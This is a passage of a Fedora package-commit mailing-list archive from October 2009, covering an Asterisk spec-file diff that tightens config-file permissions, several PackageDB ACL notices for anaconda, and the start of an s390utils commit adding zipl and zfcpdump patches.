-%config(noreplace) %{_sysconfdir}/asterisk/sip.conf
-%config(noreplace) %{_sysconfdir}/asterisk/sip_notify.conf
-%config(noreplace) %{_sysconfdir}/asterisk/sla.conf
-%config(noreplace) %{_sysconfdir}/asterisk/smdi.conf
-%config(noreplace) %{_sysconfdir}/asterisk/telcordia-1.adsi
-%config(noreplace) %{_sysconfdir}/asterisk/udptl.conf
-%config(noreplace) %{_sysconfdir}/asterisk/users.conf
-%config(noreplace) %{_sysconfdir}/asterisk/vpb.conf
+%attr(0750,asterisk,asterisk) %dir %{_sysconfdir}/asterisk
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/adsi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/adtranvofr.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/agents.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/alarmreceiver.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/amd.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/asterisk.adsi
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/asterisk.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_custom.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_manager.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cli.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/codecs.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dnsmgr.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dsp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dundi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/enum.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extconfig.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions.ael
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/features.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/followme.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/h323.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/http.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/iax.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/iaxprov.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/indications.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/logger.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/manager.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/mgcp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/modules.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/musiconhold.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/muted.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/osp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/phone.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/phoneprov.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/queuerules.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/queues.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/rpt.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/rtp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/say.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/sip.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/sip_notify.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/sla.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/smdi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/telcordia-1.adsi
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/udptl.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/users.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/vpb.conf
 
 %config(noreplace) %{_sysconfdir}/logrotate.d/asterisk
 
-%dir %{_datadir}/asterisk/
-%dir %{_datadir}/asterisk/agi-bin/
-%{_datadir}/asterisk/images/
-%{_datadir}/asterisk/keys/
-%{_datadir}/asterisk/phoneprov/
-%{_datadir}/asterisk/static-http/
-%dir %{_datadir}/asterisk/moh/
-%dir %{_datadir}/asterisk/sounds/
-
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/lib/asterisk/
-
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-csv/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-custom/
-
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/
-%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/monitor/
-%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/outgoing/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/tmp/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/uploads/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/voicemail/
+%dir %{_datadir}/asterisk
+%dir %{_datadir}/asterisk/agi-bin
+%dir %{_datadir}/asterisk/firmware
+%dir %{_datadir}/asterisk/firmware/iax
+%{_datadir}/asterisk/images
+%attr(0750,asterisk,asterisk) %{_datadir}/asterisk/keys
+%{_datadir}/asterisk/phoneprov
+%{_datadir}/asterisk/static-http
+%dir %{_datadir}/asterisk/moh
+%dir %{_datadir}/asterisk/sounds
+
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/lib/asterisk
+
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-csv
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-custom
+
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk
+%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/monitor
+%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/outgoing
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/tmp
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/uploads
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/voicemail
 
 %attr(0755,asterisk,asterisk) %dir %{_localstatedir}/run/asterisk
 
 %files ais
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/ais.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/ais.conf
 %{_libdir}/asterisk/modules/res_ais.so
 
 %files alsa
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/alsa.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/alsa.conf
 %{_libdir}/asterisk/modules/chan_alsa.so
 
-%if %{with_apidoc}
 %files apidoc
 %defattr(-,root,root,-)
 %doc doc/api/html/*
-%endif
 
 %files curl
 %defattr(-,root,root,-)
 %doc contrib/scripts/dbsep.cgi
-%config(noreplace) %{_sysconfdir}/asterisk/dbsep.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dbsep.conf
 %{_libdir}/asterisk/modules/func_curl.so
 %{_libdir}/asterisk/modules/res_config_curl.so
 %{_libdir}/asterisk/modules/res_curl.so
 
 %files dahdi
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/meetme.conf
-%config(noreplace) %{_sysconfdir}/asterisk/chan_dahdi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/meetme.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/chan_dahdi.conf
 %{_libdir}/asterisk/modules/app_flash.so
 %{_libdir}/asterisk/modules/app_meetme.so
 %{_libdir}/asterisk/modules/app_page.so
@@ -891,14 +847,10 @@ fi
 
 %files festival
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/festival.conf
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/festival/
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/festival.conf
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/festival
 %{_libdir}/asterisk/modules/app_festival.so
 
-%files firmware
-%defattr(-,root,root,-)
-%{_datadir}/asterisk/firmware/
-
 %files ices
 %defattr(-,root,root,-)
 %doc contrib/asterisk-ices.xml
@@ -908,9 +860,9 @@ fi
 %defattr(-,root,root,-)
 %doc doc/jabber.txt
 %doc doc/jingle.txt
-%config(noreplace) %{_sysconfdir}/asterisk/gtalk.conf
-%config(noreplace) %{_sysconfdir}/asterisk/jabber.conf
-%config(noreplace) %{_sysconfdir}/asterisk/jingle.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/gtalk.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/jabber.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/jingle.conf
 %{_libdir}/asterisk/modules/chan_gtalk.so
 %{_libdir}/asterisk/modules/chan_jingle.so
 %{_libdir}/asterisk/modules/res_jabber.so
@@ -921,13 +873,13 @@ fi
 
 %files lua
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/extensions.lua
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions.lua
 %{_libdir}/asterisk/modules/pbx_lua.so
 
 %files ldap
 %defattr(-,root,root,-)
 %doc doc/ldap.txt
-%config(noreplace) %{_sysconfdir}/asterisk/res_ldap.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_ldap.conf
 %{_libdir}/asterisk/modules/res_config_ldap.so
 
 %files ldap-fds
@@ -936,21 +888,21 @@ fi
 
 %files minivm
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/extensions_minivm.conf
-%config(noreplace) %{_sysconfdir}/asterisk/minivm.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions_minivm.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/minivm.conf
 %{_libdir}/asterisk/modules/app_minivm.so
 
 %files misdn
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/misdn.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/misdn.conf
 %{_libdir}/asterisk/modules/chan_misdn.so
 
 %files odbc
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_adaptive_odbc.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_odbc.conf
-%config(noreplace) %{_sysconfdir}/asterisk/func_odbc.conf
-%config(noreplace) %{_sysconfdir}/asterisk/res_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_adaptive_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/func_odbc.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_odbc.conf
 %{_libdir}/asterisk/modules/cdr_adaptive_odbc.so
 %{_libdir}/asterisk/modules/cdr_odbc.so
 %{_libdir}/asterisk/modules/func_odbc.so
@@ -959,18 +911,18 @@ fi
 
 %files oss
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/oss.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/oss.conf
 %{_libdir}/asterisk/modules/chan_oss.so
 
 %files portaudio
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/console.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/console.conf
 %{_libdir}/asterisk/modules/chan_console.so
 
 %files postgresql
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_pgsql.conf
-%config(noreplace) %{_sysconfdir}/asterisk/res_pgsql.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_pgsql.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_pgsql.conf
 %doc contrib/scripts/realtime_pgsql.sql
 %{_libdir}/asterisk/modules/cdr_pgsql.so
 %{_libdir}/asterisk/modules/res_config_pgsql.so
@@ -981,7 +933,7 @@ fi
 
 %files skinny
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/skinny.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/skinny.conf
 %{_libdir}/asterisk/modules/chan_skinny.so
 
 %files snmp
@@ -989,35 +941,35 @@ fi
 %doc doc/asterisk-mib.txt
 %doc doc/digium-mib.txt
 %doc doc/snmp.txt
-%config(noreplace) %{_sysconfdir}/asterisk/res_snmp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_snmp.conf
 %{_datadir}/snmp/mibs/ASTERISK-MIB.txt
 %{_datadir}/snmp/mibs/DIGIUM-MIB.txt
 %{_libdir}/asterisk/modules/res_snmp.so
 
 %files sqlite
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_sqlite3_custom.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_sqlite3_custom.conf
 %{_libdir}/asterisk/modules/cdr_sqlite3_custom.so
 
 %files tds
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_tds.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_tds.conf
 %{_libdir}/asterisk/modules/cdr_tds.so
 
 %files unistim
 %defattr(-,root,root,-)
 %doc doc/unistim.txt
-%config(noreplace) %{_sysconfdir}/asterisk/unistim.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/unistim.conf
 %{_libdir}/asterisk/modules/chan_unistim.so
 
 %files usbradio
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/usbradio.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/usbradio.conf
 %{_libdir}/asterisk/modules/chan_usbradio.so
 
 %files voicemail
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/voicemail.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/voicemail.conf
 %{_libdir}/asterisk/modules/func_vmcount.so
 
 %files voicemail-imap
@@ -1037,10 +989,31 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Thu Oct  8 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.1.rc2
+- Update to 1.6.1.7-rc2
+- Merge firmware subpackage back into main package
+- No longer need to strip tarball since it no longer contains any non-free items
+- Tighten up permissions/ownership of config files.
+- Fix up some more paths
+- Drop unneeded patch
+
+* Wed Sep  9 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.6-2
+- Enable building of API docs.
+- Depend on version 1.2 or newer of speex
+
 * Sun Sep  6 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.6-1
 - Update to 1.6.1.6
 - Drop patches that are too troublesome to maintain anymore or have been integrated upstream.
 
+* Tue Sep  1 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1-0.26.rc1
+- Add a patch from Quentin Armitage and rebuld.
+
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.6.1-0.25.rc1
+- rebuilt with new openssl
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.1-0.24.rc1
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Mar  5 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1-0.23.rc1
 - Rebuild to pick up new AIS and ODBC deps.
 - Update script that strips out bad content from tarball to do the


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	7 Sep 2009 04:50:09 -0000	1.22
+++ sources	8 Oct 2009 13:45:31 -0000	1.23
@@ -1,3 +1,3 @@
-4f57c6c9fff1bfeb9061679c123f7468  asterisk-1.6.1.6-stripped.tar.gz
-0c07f535bada3bca06d459ed3a416f22  asterisk-1.6.1.6.tar.gz.asc
 dd089905d0ba9a514359dc2cf1a53303  asterisk-developer-pubring.gpg
+c25b294aa92b547fab5484bf436c9dd2  asterisk-1.6.1.7-rc2.tar.gz
+863d39c44b7ea1c6588535f1a56c2b1a  asterisk-1.6.1.7-rc2.tar.gz.asc


--- 0006-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch DELETED ---


--- asterisk-strip.sh DELETED ---



From pkgdb at fedoraproject.org  Thu Oct  8 13:49:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:49:16 +0000
Subject: [pkgdb] anaconda: rvykydal has requested approveacls
Message-ID: <20091008134916.E8F2410F84D@bastion2.fedora.phx.redhat.com>

rvykydal has requested the approveacls acl on anaconda (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/anaconda



From pkgdb at fedoraproject.org  Thu Oct  8 13:49:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:49:26 +0000
Subject: [pkgdb] anaconda: rvykydal has requested commit
Message-ID: <20091008134927.5F35E10F880@bastion2.fedora.phx.redhat.com>

rvykydal has requested the commit acl on anaconda (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/anaconda



From pkgdb at fedoraproject.org  Thu Oct  8 13:49:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:49:29 +0000
Subject: [pkgdb] anaconda: rvykydal has given up approveacls
Message-ID: <20091008134929.4405F10F8A8@bastion2.fedora.phx.redhat.com>

rvykydal has given up the approveacls acl on anaconda (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/anaconda



From pkgdb at fedoraproject.org  Thu Oct  8 13:50:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:50:54 +0000
Subject: [pkgdb] anaconda: rvykydal has requested commit
Message-ID: <20091008135054.C738510F84D@bastion2.fedora.phx.redhat.com>

rvykydal has requested the commit acl on anaconda (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/anaconda



From sharkcz at fedoraproject.org  Thu Oct  8 13:52:53 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Thu,  8 Oct 2009 13:52:53 +0000 (UTC)
Subject: rpms/s390utils/F-11 0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch,
	NONE, 1.1 0002-s390-tools-1.8.1-zipl-automenu.patch, NONE,
	1.1 0003-s390-tools-1.8.1-fdasd-su.patch, NONE,
	1.1 0004-s390-tools-1.8.1-fdasd-raid-lvm.patch, NONE,
	1.1 0005-don-t-create-automenu-when-default-menu-exists.patch,
	NONE, 1.1 0006-s390-tools-1.8.1-zipl-kdump-man.patch, NONE,
	1.1 0007-s390-tools-1.8.1-lszfcp-perf.patch, NONE,
	1.1 0008-fix-string-overflow-in-vtoc_volume_label_init.patch,
	NONE, 1.1 0009-change-default-load-address-for-ramdisk.patch,
	NONE, 1.1 0010-improve-mon_statd-init-script.patch, NONE,
	1.1 .cvsignore, 1.3, 1.4 s390utils.spec, 1.10, 1.11 sources, 1.3,
	1.4 0001-s390-tools-1.8.1-common-mak.patch, 1.1,
	NONE 0004-s390-tools-1.8.1-zipl-automenu.patch, 1.1,
	NONE 0005-s390-tools-1.8.1-fdasd-su.patch, 1.1,
	NONE 0006-s390-tools-1.8.1-fdasd-raid-lvm.patch, 1.1,
	NONE 0008-s390-tools-1.8.1-ziorep-fixes.patch, 1.1,
	NONE 0009-s390-tools-1.8.1-cflags.patch, 1.1,
	NONE 0010-s390-tools-1.8.1-defaultmenu.patch, 1.1,
	NONE 0011-s390-tools-1.8.1-execstack.patch, 1.1,
	NONE 0012-s390-tools-1.8.1-ziomon-fixes.patch, 1.1,
	NONE 0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch,
	1.1, NONE 0014-s390-tools-1.8.1-zipl-kdump-man.patch, 1.1,
	NONE 0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch, 1.1, 
	NONE 0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch,
	1.1, NONE 0017-s390-tools-1.8.1-cpuplugd-memplug.patch, 1.1,
	NONE 0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch, 1.1,
	NONE 0019-s390-tools-1.8.1-lsluns-disk-enc.patch, 1.1,
	NONE 0020-s390-tools-1.8.1-cpuplugd-cmminit.patch, 1.1,
	NONE 0021-s390-tools-1.8.1-lszfcp-perf.patch, 1.1,
	NONE 0022-fix-string-overflow-in-vtoc_volume_label_init.patch,
	1.1, NONE 0023-change-default-load-address-for-ramdisk.patch,
	1.2, NONE 0024-s390-tools-1.8.1-cpuplugd-limits.patch, 1.1,
	NONE 0025-s390-tools-1.8.1-misc-bugfixes.patch, 1.1, NONE
Message-ID: <20091008135253.350FC11C00DB@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/s390utils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24113

Modified Files:
	.cvsignore s390utils.spec sources 
Added Files:
	0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch 
	0002-s390-tools-1.8.1-zipl-automenu.patch 
	0003-s390-tools-1.8.1-fdasd-su.patch 
	0004-s390-tools-1.8.1-fdasd-raid-lvm.patch 
	0005-don-t-create-automenu-when-default-menu-exists.patch 
	0006-s390-tools-1.8.1-zipl-kdump-man.patch 
	0007-s390-tools-1.8.1-lszfcp-perf.patch 
	0008-fix-string-overflow-in-vtoc_volume_label_init.patch 
	0009-change-default-load-address-for-ramdisk.patch 
	0010-improve-mon_statd-init-script.patch 
Removed Files:
	0001-s390-tools-1.8.1-common-mak.patch 
	0004-s390-tools-1.8.1-zipl-automenu.patch 
	0005-s390-tools-1.8.1-fdasd-su.patch 
	0006-s390-tools-1.8.1-fdasd-raid-lvm.patch 
	0008-s390-tools-1.8.1-ziorep-fixes.patch 
	0009-s390-tools-1.8.1-cflags.patch 
	0010-s390-tools-1.8.1-defaultmenu.patch 
	0011-s390-tools-1.8.1-execstack.patch 
	0012-s390-tools-1.8.1-ziomon-fixes.patch 
	0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch 
	0014-s390-tools-1.8.1-zipl-kdump-man.patch 
	0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch 
	0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch 
	0017-s390-tools-1.8.1-cpuplugd-memplug.patch 
	0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch 
	0019-s390-tools-1.8.1-lsluns-disk-enc.patch 
	0020-s390-tools-1.8.1-cpuplugd-cmminit.patch 
	0021-s390-tools-1.8.1-lszfcp-perf.patch 
	0022-fix-string-overflow-in-vtoc_volume_label_init.patch 
	0023-change-default-load-address-for-ramdisk.patch 
	0024-s390-tools-1.8.1-cpuplugd-limits.patch 
	0025-s390-tools-1.8.1-misc-bugfixes.patch 
Log Message:
* Thu Oct  8 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-1
- added patch for improving mon_statd behaviour
- rebased to 1.8.2


0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch:
 common.mak |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE 0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch ---
>From 2b8336a93376953ba0ed84223264be55243ac7f8 Mon Sep 17 00:00:00 2001
From: Dan Horak <dan at danny.cz>
Date: Sun, 20 Jul 2008 09:24:05 +0200
Subject: [PATCH 1/9] s390-tools-1.5.3-zipl-zfcpdump-2

---
 common.mak |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/common.mak b/common.mak
index 8b248f1..0a7916e 100644
--- a/common.mak
+++ b/common.mak
@@ -63,8 +63,8 @@ GROUP		= $(shell id -gn)
 export INSTROOT BINDIR LIBDIR MANDIR OWNER GROUP
 
 # Special defines for zfcpdump
-ZFCPDUMP_DIR    = /usr/local/share/zfcpdump
-ZFCPDUMP_IMAGE  = zfcpdump.image
+ZFCPDUMP_DIR    = /boot
+ZFCPDUMP_IMAGE  = zfcpdump
 ZFCPDUMP_RD     = zfcpdump.rd
 export ZFCPDUMP_DIR ZFCPDUMP_IMAGE ZFCPDUMP_RD
 
-- 
1.6.3.3


0002-s390-tools-1.8.1-zipl-automenu.patch:
 man/zipl.8 |    7 ++
 src/job.c  |  194 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---
 src/scan.c |    4 -
 src/zipl.c |    2 
 4 files changed, 197 insertions(+), 10 deletions(-)

--- NEW FILE 0002-s390-tools-1.8.1-zipl-automenu.patch ---
>From 2513c0f8096c681f962d77420dac731f7bb33e44 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 11:45:36 +0200
Subject: [PATCH 2/9] s390-tools-1.8.1-zipl-automenu

---
 zipl/man/zipl.8 |    7 ++
 zipl/src/job.c  |  194 +++++++++++++++++++++++++++++++++++++++++++++++++++++--
 zipl/src/scan.c |    4 +-
 zipl/src/zipl.c |    1 +
 4 files changed, 197 insertions(+), 9 deletions(-)

diff --git a/zipl/man/zipl.8 b/zipl/man/zipl.8
index 8a83c01..6ebf240 100644
--- a/zipl/man/zipl.8
+++ b/zipl/man/zipl.8
@@ -249,6 +249,13 @@ whether they contain a dump signature or not.
 This option can only be used together with
 .BR \-\-mvdump .
 
+.TP
+.BR "\-x" " or " "\-\-no-automenu"
+Disables the automatic creation of a multiboot menu. Specifying a menu with the
+"-m <MENU>" option or a section disables this feature, too. This option was
+added for compatibility with previous versions of the multiboot version of
+zipl.
+
 .SH EXAMPLE
 1. Scenario: prepare disk for booting a Linux kernel image using the
 following parameters:
diff --git a/zipl/src/job.c b/zipl/src/job.c
index c5c85d8..6a526e4 100644
--- a/zipl/src/job.c
+++ b/zipl/src/job.c
@@ -43,6 +43,7 @@ static struct option options[] = {
 	{ "version",		no_argument,		NULL, 'v'},
 	{ "verbose",		no_argument,		NULL, 'V'},
 	{ "add-files",		no_argument,		NULL, 'a'},
+	{ "no-automenu",        no_argument,            NULL, 'x'},
 	{ "tape",		required_argument,	NULL, 'T'},
 	{ "dry-run",		no_argument,		NULL, '0'},
 	{ "force",		no_argument,		NULL, 'f'},
@@ -50,7 +51,7 @@ static struct option options[] = {
 };
 
 /* Command line option abbreviations */
-static const char option_string[] = "-c:t:i:r:p:P:d:D:M:s:m:hHnVvaT:f";
+static const char option_string[] = "-c:t:i:r:p:P:d:D:M:s:m:hHnVvaxT:f";
 
 struct command_line {
 	char* data[SCAN_KEYWORD_NUM];
@@ -62,11 +63,14 @@ struct command_line {
 	int version;
 	int verbose;
 	int add_files;
+	int automenu;
 	int dry_run;
 	int force;
 	enum scan_section_type type;
 };
 
+/* Global variable for default boot target. Ugly but necessary... */
+static char *default_target;
 
 static int
 store_option(struct command_line* cmdline, enum scan_keyword_id keyword,
@@ -92,6 +96,7 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 	int i;
 
 	memset((void *) &cmdline, 0, sizeof(struct command_line));
+	cmdline.automenu = 1;
 	cmdline.type = section_invalid;
 	is_keyword = 0;
 	/* Process options */
@@ -101,16 +106,22 @@ get_command_line(int argc, char* argv[], struct command_line* line)
